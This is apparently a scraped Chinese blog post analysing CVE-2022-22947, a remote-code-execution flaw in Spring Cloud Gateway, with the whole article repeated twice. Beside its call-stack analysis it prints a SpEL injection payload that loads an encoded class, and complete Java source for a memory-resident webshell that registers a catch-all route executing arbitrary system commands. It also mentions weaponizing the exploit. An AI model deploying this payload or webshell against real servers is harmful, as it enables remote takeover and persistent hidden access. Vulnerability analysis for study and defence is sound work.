CVE-2022-22947如何通过SpringCloud GateWay SpEL RCE漏洞进行攻击?

2026-05-19 18:281阅读0评论SEO资源
  • 内容介绍
  • 文章标签
  • 相关推荐

本文共计1606个文字,预计阅读时间需要7分钟。

CVE-2022-22947如何通过SpringCloud GateWay SpEL RCE漏洞进行攻击?

CVE-2022-22947 SpringCloud GateWay SpEL RCE 漏洞分析在前端环境准备漏洞复现漏洞分析内存马注入PayloadHandlerMapping内存马漏洞武器化在前端学习笔记环境搭建

CVE-2022-22947 SpringCloud GateWay SpEL RCE

目录
  • CVE-2022-22947 SpringCloud GateWay SpEL RCE
    • 写在前面
    • 环境准备
    • 漏洞复现
    • 漏洞分析
    • 内存马注入
      • Payload
      • HandlerMapping内存马
    • 漏洞武器化

写在前面

学习记录

环境准备

IDEA的话需要下载Kotlin插件的,针对于这个环境的话,Kotlin插件对IDEA的版本有要求,比如IDEA 2020.1.1的版本就不行,搭环境的时候需要注意下。

git clone github.com/spring-cloud/spring-cloud-gateway cd spring-cloud-gateway git checkout v3.1.0 漏洞复现

0x01 添加filter

0x02 刷新

CVE-2022-22947如何通过SpringCloud GateWay SpEL RCE漏洞进行攻击?

观察参数,normalizeProperties()方法会传入this.properties,其中保存了前面添加的filters agrs属性中的name和value,最终会将value取出传到后续的SpEL进行解析执行

再往前回溯就是从POST refresh端点到加载这个filter的逻辑了,翻看一下调用栈就一目了然了。调用栈如下:

getValue:59, ShortcutConfigurable (org.springframework.cloud.gateway.support) normalize:94, ShortcutConfigurable$ShortcutType$1 (org.springframework.cloud.gateway.support) normalizeProperties:140, ConfigurationService$ConfigurableBuilder (org.springframework.cloud.gateway.support) bind:241, ConfigurationService$AbstractBuilder (org.springframework.cloud.gateway.support) loadGatewayFilters:144, RouteDefinitionRouteLocator (org.springframework.cloud.gateway.route) getFilters:176, RouteDefinitionRouteLocator (org.springframework.cloud.gateway.route) convertToRoute:117, RouteDefinitionRouteLocator (org.springframework.cloud.gateway.route) ... onApplicationEvent:81, CachingRouteLocator (org.springframework.cloud.gateway.route) onApplicationEvent:40, CachingRouteLocator (org.springframework.cloud.gateway.route) doInvokeListener:176, SimpleApplicationEventMulticaster (org.springframework.context.event) invokeListener:169, SimpleApplicationEventMulticaster (org.springframework.context.event) multicastEvent:143, SimpleApplicationEventMulticaster (org.springframework.context.event) publishEvent:421, AbstractApplicationContext (org.springframework.context.support) publishEvent:378, AbstractApplicationContext (org.springframework.context.support) refresh:96, AbstractGatewayControllerEndpoint (org.springframework.cloud.gateway.actuate) ...

而payload中我们构造的filter在后面会被封装为FilterDefinition对象,而FilterDefinition为RouteDefinition中的一个属性,RouteDefinition对象结构大致如下:

到这里第一个POST加路由的payload的构造以及refresh到sink点的触发基本就很清晰了,下面正向看一下这个route是如何加进去的。
首先看官方文档
可以通过POST和DELETE请求进行添加和删除路由的操作

下断点后跟进查看,POST传入的是RouteDefinition对象

RouteDefinition类代码如下

其中filters对应的模版类代码如下,所以需要有name和args作为属性

继续往下跟,在Lambda表达式里调用了validateRouteDefinition方法对当前filter name做了检查,判断是否是存在的filter name,一共有29个,其中用AddResponseHeader可以帮助构造回显

而关于回显的话,前面refresh部分的调试已知了结果会保存在this.properties中,那么拿AddResponseHeader做回显肯定是能获取this.properties,下面来看下。
首先定位到AddResponseHeaderGatewayFilterFactory,其中apply方法会把config的name和value属性都添加到header中从而创造回显。全局搜索的时候也可以看到很多用此功能来添加header头的代码。

而通过GET请求routes/{id}时正好会拿到该命令执行的结果, 这里的话个人感觉是走如下的调用的,

最终在此拿到filter,回显到response里

但实际调试时又有很多不一样的地方,埋坑。

内存马注入 Payload

这里联想到的是Thymeleaf SSTI这个洞,因为这两个洞最终都是SpEL注入,所以一开始想到的就是BCEL去打一个内存马进去,但BCEL是有JDK版本限制,并不是很通用。在c0ny1师傅文章有给出payload和新思路,不造轮子了直接学爆。
首先来看payload

#{T(org.springframework.cglib.core.ReflectUtils).defineClass('Memshell',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAA....'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject()}

用的是Spring中自带的ReflectUtils类的defineClass方法,主要注意第三个参数也就是Classloader的部分:new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject()
可以简单看下源码,MLet继承了URLClassLoader,所以这里通过new MLet()来new一个新的ClassLoader就可以避免ClassLoader无法加载相同类名的类

public class MLet extends java.net.URLClassLoader implements MLetMBean, MBeanRegistration, Externalizable { ... /** * Constructs a new MLet using the default delegation parent ClassLoader. */ public MLet() { this(new URL[0]); } /** * Constructs a new MLet for the specified URLs using the default * delegation parent ClassLoader. The URLs will be searched in * the order specified for classes and resources after first * searching in the parent class loader. * * @param urls The URLs from which to load classes and resources. * */ public MLet(URL[] urls) { this(urls, true); } /** * Constructs a new MLet for the given URLs. The URLs will be * searched in the order specified for classes and resources * after first searching in the specified parent class loader. * The parent argument will be used as the parent class loader * for delegation. * * @param urls The URLs from which to load classes and resources. * @param parent The parent class loader for delegation. * */ public MLet(URL[] urls, ClassLoader parent) { this(urls, parent, true); } /** * Constructs a new MLet for the specified URLs, parent class * loader, and URLStreamHandlerFactory. The parent argument will * be used as the parent class loader for delegation. The factory * argument will be used as the stream handler factory to obtain * protocol handlers when creating new URLs. * * @param urls The URLs from which to load classes and resources. * @param parent The parent class loader for delegation. * @param factory The URLStreamHandlerFactory to use when creating URLs. * */ public MLet(URL[] urls, ClassLoader parent, URLStreamHandlerFactory factory) { this(urls, parent, factory, true); } ... ... /** * Constructs a new MLet for the specified URLs, parent class * loader, and URLStreamHandlerFactory. The parent argument will * be used as the parent class loader for delegation. The factory * argument will be used as the stream handler factory to obtain * protocol handlers when creating new URLs. * * @param urls The URLs from which to load classes and resources. * @param parent The parent class loader for delegation. * @param factory The URLStreamHandlerFactory to use when creating URLs. * @param delegateToCLR True if, when a class is not found in * either the parent ClassLoader or the URLs, the MLet should delegate * to its containing MBeanServer's {@link ClassLoaderRepository}. * */ public MLet(URL[] urls, ClassLoader parent, URLStreamHandlerFactory factory, boolean delegateToCLR) { super(urls, parent, factory); init(delegateToCLR); } HandlerMapping内存马

而内存马方面的话主要还是Spring层,之前我也有写过一篇Spring内存马相关的文章,主要是Interceptor和Controller型的内存马,而c0ny1师傅文章中用到的是RequestMappingHandlerMapping注册一个与使用@RequestMapping("/*")等效的HandlerMapping类型的内存马。
代码:执行命令的逻辑主要还是在executeCommand方法中,那么想注入Behinder3或者Godzilla4的Memshell的话改下逻辑,并且需要找到获取request对象的姿势。
后记:后面也找到了获取Request对象的方法,但是Webflux+Netty与普通的MVC+tomcat是有区别的,比如webflux的request对象并不是普通ssm项目的servlethttprequest,也就无法获取session resposne这些,同时页面的回显方式也不是直接用类似于resposne.getWritter().write()这样去构造。所以也没有构造出来behinder和godzilla的内存马,希望有会的师傅或者遇到类似问题的师傅可以一起讨论交流下。

public class SpringRequestMappingMemshell { public static String doInject(Object requestMappingHandlerMapping) { String msg = "inject-start"; try { Method registerHandlerMethod = requestMappingHandlerMapping.getClass().getDeclaredMethod("registerHandlerMethod", Object.class, Method.class, RequestMappingInfo.class); registerHandlerMethod.setAccessible(true); Method executeCommand = SpringRequestMappingMemshell.class.getDeclaredMethod("executeCommand", String.class); PathPattern pathPattern = new PathPatternParser().parse("/*"); PatternsRequestCondition patternsRequestCondition = new PatternsRequestCondition(pathPattern); RequestMappingInfo requestMappingInfo = new RequestMappingInfo("", patternsRequestCondition, null, null, null, null, null, null); registerHandlerMethod.invoke(requestMappingHandlerMapping, new SpringRequestMappingMemshell(), executeCommand, requestMappingInfo); msg = "inject-success"; }catch (Exception e){ msg = "inject-error"; } return msg; } public ResponseEntity executeCommand(String cmd) throws IOException { String execResult = new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next(); return new ResponseEntity(execResult, HttpStatus.OK); } } 漏洞武器化

丢两张图吧

所有内容仅限于维护网络安全学习参考

本文共计1606个文字,预计阅读时间需要7分钟。

CVE-2022-22947如何通过SpringCloud GateWay SpEL RCE漏洞进行攻击?

CVE-2022-22947 SpringCloud GateWay SpEL RCE 漏洞分析在前端环境准备漏洞复现漏洞分析内存马注入PayloadHandlerMapping内存马漏洞武器化在前端学习笔记环境搭建

CVE-2022-22947 SpringCloud GateWay SpEL RCE

目录
  • CVE-2022-22947 SpringCloud GateWay SpEL RCE
    • 写在前面
    • 环境准备
    • 漏洞复现
    • 漏洞分析
    • 内存马注入
      • Payload
      • HandlerMapping内存马
    • 漏洞武器化

写在前面

学习记录

环境准备

IDEA的话需要下载Kotlin插件的,针对于这个环境的话,Kotlin插件对IDEA的版本有要求,比如IDEA 2020.1.1的版本就不行,搭环境的时候需要注意下。

git clone github.com/spring-cloud/spring-cloud-gateway cd spring-cloud-gateway git checkout v3.1.0 漏洞复现

0x01 添加filter

0x02 刷新

CVE-2022-22947如何通过SpringCloud GateWay SpEL RCE漏洞进行攻击?

观察参数,normalizeProperties()方法会传入this.properties,其中保存了前面添加的filters agrs属性中的name和value,最终会将value取出传到后续的SpEL进行解析执行

再往前回溯就是从POST refresh端点到加载这个filter的逻辑了,翻看一下调用栈就一目了然了。调用栈如下:

getValue:59, ShortcutConfigurable (org.springframework.cloud.gateway.support) normalize:94, ShortcutConfigurable$ShortcutType$1 (org.springframework.cloud.gateway.support) normalizeProperties:140, ConfigurationService$ConfigurableBuilder (org.springframework.cloud.gateway.support) bind:241, ConfigurationService$AbstractBuilder (org.springframework.cloud.gateway.support) loadGatewayFilters:144, RouteDefinitionRouteLocator (org.springframework.cloud.gateway.route) getFilters:176, RouteDefinitionRouteLocator (org.springframework.cloud.gateway.route) convertToRoute:117, RouteDefinitionRouteLocator (org.springframework.cloud.gateway.route) ... onApplicationEvent:81, CachingRouteLocator (org.springframework.cloud.gateway.route) onApplicationEvent:40, CachingRouteLocator (org.springframework.cloud.gateway.route) doInvokeListener:176, SimpleApplicationEventMulticaster (org.springframework.context.event) invokeListener:169, SimpleApplicationEventMulticaster (org.springframework.context.event) multicastEvent:143, SimpleApplicationEventMulticaster (org.springframework.context.event) publishEvent:421, AbstractApplicationContext (org.springframework.context.support) publishEvent:378, AbstractApplicationContext (org.springframework.context.support) refresh:96, AbstractGatewayControllerEndpoint (org.springframework.cloud.gateway.actuate) ...

而payload中我们构造的filter在后面会被封装为FilterDefinition对象,而FilterDefinition为RouteDefinition中的一个属性,RouteDefinition对象结构大致如下:

到这里第一个POST加路由的payload的构造以及refresh到sink点的触发基本就很清晰了,下面正向看一下这个route是如何加进去的。
首先看官方文档
可以通过POST和DELETE请求进行添加和删除路由的操作

下断点后跟进查看,POST传入的是RouteDefinition对象

RouteDefinition类代码如下

其中filters对应的模版类代码如下,所以需要有name和args作为属性

继续往下跟,在Lambda表达式里调用了validateRouteDefinition方法对当前filter name做了检查,判断是否是存在的filter name,一共有29个,其中用AddResponseHeader可以帮助构造回显

而关于回显的话,前面refresh部分的调试已知了结果会保存在this.properties中,那么拿AddResponseHeader做回显肯定是能获取this.properties,下面来看下。
首先定位到AddResponseHeaderGatewayFilterFactory,其中apply方法会把config的name和value属性都添加到header中从而创造回显。全局搜索的时候也可以看到很多用此功能来添加header头的代码。

而通过GET请求routes/{id}时正好会拿到该命令执行的结果, 这里的话个人感觉是走如下的调用的,

最终在此拿到filter,回显到response里

但实际调试时又有很多不一样的地方,埋坑。

内存马注入 Payload

这里联想到的是Thymeleaf SSTI这个洞,因为这两个洞最终都是SpEL注入,所以一开始想到的就是BCEL去打一个内存马进去,但BCEL是有JDK版本限制,并不是很通用。在c0ny1师傅文章有给出payload和新思路,不造轮子了直接学爆。
首先来看payload

#{T(org.springframework.cglib.core.ReflectUtils).defineClass('Memshell',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAA....'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject()}

用的是Spring中自带的ReflectUtils类的defineClass方法,主要注意第三个参数也就是Classloader的部分:new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject()
可以简单看下源码,MLet继承了URLClassLoader,所以这里通过new MLet()来new一个新的ClassLoader就可以避免ClassLoader无法加载相同类名的类

public class MLet extends java.net.URLClassLoader implements MLetMBean, MBeanRegistration, Externalizable { ... /** * Constructs a new MLet using the default delegation parent ClassLoader. */ public MLet() { this(new URL[0]); } /** * Constructs a new MLet for the specified URLs using the default * delegation parent ClassLoader. The URLs will be searched in * the order specified for classes and resources after first * searching in the parent class loader. * * @param urls The URLs from which to load classes and resources. * */ public MLet(URL[] urls) { this(urls, true); } /** * Constructs a new MLet for the given URLs. The URLs will be * searched in the order specified for classes and resources * after first searching in the specified parent class loader. * The parent argument will be used as the parent class loader * for delegation. * * @param urls The URLs from which to load classes and resources. * @param parent The parent class loader for delegation. * */ public MLet(URL[] urls, ClassLoader parent) { this(urls, parent, true); } /** * Constructs a new MLet for the specified URLs, parent class * loader, and URLStreamHandlerFactory. The parent argument will * be used as the parent class loader for delegation. The factory * argument will be used as the stream handler factory to obtain * protocol handlers when creating new URLs. * * @param urls The URLs from which to load classes and resources. * @param parent The parent class loader for delegation. * @param factory The URLStreamHandlerFactory to use when creating URLs. * */ public MLet(URL[] urls, ClassLoader parent, URLStreamHandlerFactory factory) { this(urls, parent, factory, true); } ... ... /** * Constructs a new MLet for the specified URLs, parent class * loader, and URLStreamHandlerFactory. The parent argument will * be used as the parent class loader for delegation. The factory * argument will be used as the stream handler factory to obtain * protocol handlers when creating new URLs. * * @param urls The URLs from which to load classes and resources. * @param parent The parent class loader for delegation. * @param factory The URLStreamHandlerFactory to use when creating URLs. * @param delegateToCLR True if, when a class is not found in * either the parent ClassLoader or the URLs, the MLet should delegate * to its containing MBeanServer's {@link ClassLoaderRepository}. * */ public MLet(URL[] urls, ClassLoader parent, URLStreamHandlerFactory factory, boolean delegateToCLR) { super(urls, parent, factory); init(delegateToCLR); } HandlerMapping内存马

而内存马方面的话主要还是Spring层,之前我也有写过一篇Spring内存马相关的文章,主要是Interceptor和Controller型的内存马,而c0ny1师傅文章中用到的是RequestMappingHandlerMapping注册一个与使用@RequestMapping("/*")等效的HandlerMapping类型的内存马。
代码:执行命令的逻辑主要还是在executeCommand方法中,那么想注入Behinder3或者Godzilla4的Memshell的话改下逻辑,并且需要找到获取request对象的姿势。
后记:后面也找到了获取Request对象的方法,但是Webflux+Netty与普通的MVC+tomcat是有区别的,比如webflux的request对象并不是普通ssm项目的servlethttprequest,也就无法获取session resposne这些,同时页面的回显方式也不是直接用类似于resposne.getWritter().write()这样去构造。所以也没有构造出来behinder和godzilla的内存马,希望有会的师傅或者遇到类似问题的师傅可以一起讨论交流下。

public class SpringRequestMappingMemshell { public static String doInject(Object requestMappingHandlerMapping) { String msg = "inject-start"; try { Method registerHandlerMethod = requestMappingHandlerMapping.getClass().getDeclaredMethod("registerHandlerMethod", Object.class, Method.class, RequestMappingInfo.class); registerHandlerMethod.setAccessible(true); Method executeCommand = SpringRequestMappingMemshell.class.getDeclaredMethod("executeCommand", String.class); PathPattern pathPattern = new PathPatternParser().parse("/*"); PatternsRequestCondition patternsRequestCondition = new PatternsRequestCondition(pathPattern); RequestMappingInfo requestMappingInfo = new RequestMappingInfo("", patternsRequestCondition, null, null, null, null, null, null); registerHandlerMethod.invoke(requestMappingHandlerMapping, new SpringRequestMappingMemshell(), executeCommand, requestMappingInfo); msg = "inject-success"; }catch (Exception e){ msg = "inject-error"; } return msg; } public ResponseEntity executeCommand(String cmd) throws IOException { String execResult = new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next(); return new ResponseEntity(execResult, HttpStatus.OK); } } 漏洞武器化

丢两张图吧

所有内容仅限于维护网络安全学习参考